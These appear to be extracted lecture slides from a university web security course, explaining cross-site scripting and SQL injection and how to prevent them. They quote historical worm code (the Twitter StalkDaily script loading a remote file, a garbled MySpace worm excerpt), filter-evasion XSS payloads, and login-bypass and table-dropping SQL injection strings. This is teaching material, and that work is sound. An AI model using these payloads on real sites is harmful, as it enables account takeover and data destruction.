CSE 484 : Computer Security and Privacy

Web Security
[Web Application Security]

Winter 2021

David Kohlbrenner
dkohlbre@cs.washington.edu

Thanks to Franzi Roesner, Dan Boneh, Dieter Gollmann, Dan Halperin, Yoshi Kohno, Ada Lerner, John Manferdelli, John Mitchell, Vitaly Shmatikov, Bennet Yee, and many others for sample slides and materials...
Admin

• Lab 2
  • Signup is up, remember to register ASAP

• Final project
  • First checkpoint deadline next Wednesday (Feb 17)
  • Simple: form a group, propose a topic
  • Groups strongly encouraged
  • https://courses.cs.washington.edu/courses/cse484/21wi/assignments/final_project.html

• Next week
  • No class or office hours Monday
Course Feedback

• Thank you for working with ET&L!
Cross-Site Scripting (XSS)
XSS Recap

Fundamental issue: data interpreted as code.
Violates the spirit of the same-origin policy (code is not really from the same origin).
Basic Pattern for Reflected XSS

1. visit web site
2. receive malicious page
3. click on link
4. echo user input
5. send valuable data
Where Malicious Scripts Lurk: Stored XSS

1. Attack server
2. Inject malicious script
3. Server victim with user-generated content (Social site, blog, wiki...)
4. User victim

Users view or download content

→ steal valuable data

Attack server

Store bad stuff

User victim

Inject malicious script
Twitter Worm (2009)

• Can save URL-encoded data into Twitter profile
• Data not escaped when profile is displayed
• Result: StalkDaily XSS exploit
  • If view an infected profile, script infects your own profile

var update = urlencode("Hey everyone, join www.StalkDaily.com. It's a site like Twitter but with pictures, videos, and so much more! ");
var xss = urlencode('http://www.stalkdaily.com"</a><script src="http://mikeyylolz.uuuq.com/x.js"></script><a ');

var ajaxConn = new XHConn();
ajaxConn.connect("/status/update", "POST",
"authenticity_token"="+authtoken+"&status="+update+"&tab=home&update=update");
ajaxConn1.connect("/account/settings", "POST",
"authenticity_token"="+authtoken+"&user[url]="+xss+"&tab=home&update=update")

Preventing Cross-Site Scripting

• Any user input and client-side data must be preprocessed before it is used inside HTML

• Remove / encode HTML special characters
  • Use a good escaping library
    • OWASP ESAPI (Enterprise Security API)
    • Microsoft’s AntiXSS
  • In PHP, htmlspecialchars(string) will replace all special characters with their HTML codes
    • ' becomes &\#039; 
    • “ becomes &quot; 
    • & becomes &amp;
  • In ASP.NET, Server.HtmlEncode(string)
Evading XSS Filters

• Preventing injection of scripts into HTML is hard!
  • Blocking “<” and “>” is not enough
  • Event handlers, stylesheets, encoded inputs (%3C), etc.
  • phpBB allowed simple HTML tags like <b>
    ```html
    <b c=">
      onmouseover="script" x="<b">
    Hello</b>
    ```

• Beware of filter evasion tricks (XSS Cheat Sheet)
  • If filter allows quoting (of <script>, etc.), beware of malformed quoting:
    ```html
    <IMG ""
    <SCRIPT>alert("XSS")</SCRIPT>"
    ```
  • Long UTF-8 encoding
  • Scripts are not only in <script>:
    ```html
    <iframe src='https://bank.com/login’ onload='steal()'>
    ```
MySpace Worm (1)

- Users can post HTML on their MySpace pages
- MySpace does not allow scripts in users’ HTML
  - No `<script>`, `<body>`, `onclick`, `<a href=javascript://>`
  - ... but does allow `<div>` tags for CSS.
    - `<div style="background:url('javascript:alert(1)')">`
- But MySpace will strip out “javascript”
  - Use “java<NEWLINE>script” instead
- But MySpace will strip out quotes
  - Convert from decimal instead:
    - `alert('double quote: ' + String.fromCharCode(34))`
MySpace Worm (2)

Resulting code:

```javascript
<div id="mycode" style="BACKGROUND: url(https://samy.pl/myspace/tech.html)"
script="eval(document.all.mycode.expred)"
var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextNode(C);C=D.innerHTML;var H=document.getElementById('catch');try{C="if (C) return C; else return eval('document.body.innerHTML');\"");function getData(A){M=getStringFromURL(A,friendID);L=getStringFromURL(A,Mytoken);function getQueryParams(){}function callFunction(){for\(P in A\)\{for\(O=0;O<T.length;O++)\{var AS=new RegExp(L, O.length).split('&');var AS=getData(A);var L=AS['friendID'];var M=AS['friendID'];if(lOcation.hostname==\"profile.myspace.com\"){document.location=\"http://www.myspace.com\"+location.pathname+location.search;var V=0;for\(O=0;O<T.length;O++)\{var AS=new Array();AS[\"friendID\"]=L;for\(O=0;O<T.length;O++)\{var AS=new Array();AS[\"friendID\"]=L;for\(O=0;O<T.length;O++)\{var AS=new Array();AS[\"friendID\"]=L;for\(O=0;O<T.length;O++)\{var AS=new Array();AS[\"friendID\"]=L;...
```
MySpace Worm (3)

• “There were a few other complications and things to get around. This was not by any means a straight forward process, and none of this was meant to cause any damage or piss anyone off. This was in the interest of..interest. It was interesting and fun!”

• Started on “samy” MySpace page

• Everybody who visits an infected page, becomes infected and adds “samy” as a friend and hero

• 5 hours later “samy” has 1,005,831 friends
  • Was adding 1,000 friends per second at its peak

https://samy.pl/myspace/tech.html
SQL Injection
Typical Login Prompt

**POST**
Typical Query Generation Code

```
$selecteduser = $_GET['user'];
$sql = "SELECT Username, Key FROM Key " . 
    "WHERE Username='" . $selecteduser . "';"
$rs = $db->executeQuery($sql);
```

What if `user` is a malicious string that changes the meaning of the query?
User Input Becomes Part of Query

```
SELECT passwd
FROM USERS
WHERE uname = '$user'
```
Normal Login

Web browser (Client) → Enter Username & Password → Web server → SELECT passwd FROM USERS WHERE uname IS ‘franzi’ → DB
Malicious User Input
SQL Injection Attack

Web browser (Client)

Enter Username & Password

Web server

SELECT passwd
FROM USERS
WHERE uname
IS ';
DROP TABLE
USERS; -- ';

DB

Eliminates all user accounts
Exploits of a Mom

http://xkcd.com/327/
SQL Injection: Basic Idea

- This is an **input validation vulnerability**
  - **Unsanitized user input in SQL query to back-end database changes the meaning of query**
- Special case of command injection
set UserFound = execute(
    "SELECT * FROM UserTable WHERE
    username=' ' & form("user") & ' AND
    password=' ' & form("pwd") & ' ');

User supplies username and password, this SQL query checks if user/password combination is in the database

If not UserFound.EOF Authentication correct
else Fail

Only true if the result of SQL query is not empty, i.e., user/pwd is in the database
Using SQL Injection to Log In

• User gives username
  `' OR 1=1 --`

• Web server executes query

  ```
  set UserFound=execute(
    SELECT * FROM UserTable WHERE
    username=[‘’] OR 1=1 -- ...
  );
  ```

• Now all records match the query, so the result is not empty ⇒ correct “authentication”!

Always true! Everything after -- is ignored!
“Blind” SQL Injection

Yes / No ← 1 bit

username = 'admin'
password = 'starts with containing [0-9] = 'a''
Preventing SQL Injection

• **Validate all inputs**
  • Filter out any character that has special meaning
    • Apostrophes, semicolons, percent, hyphens, underscores, ...
    • Use escape characters to prevent special characters from becoming part of the query code
      • E.g.: escape(O’Connor) = O\'Connor
  • Check the data type (e.g., input must be an integer)
PreparedStatement ps =
    db.prepareStatement("SELECT pizza, toppings, quantity, order_day 
    + "FROM orders WHERE userid=? AND order_month=?";
    ps.setInt(1, session.getCurrentUserId());
    ps.setInt(2, Integer.parseInt(request.getParameter("month")));
    ResultSet res = ps.executeQuery();

• **Bind variables**: placeholders guaranteed to be data (not code)
• Query is parsed without data parameters
• Bind variables are typed (int, string, ...)

Wait, why not do that for XSS?

- “Prepared statements for HTML”?
Data-as-code

- XSS
- SQL Injection
- Stack smashing with shellcode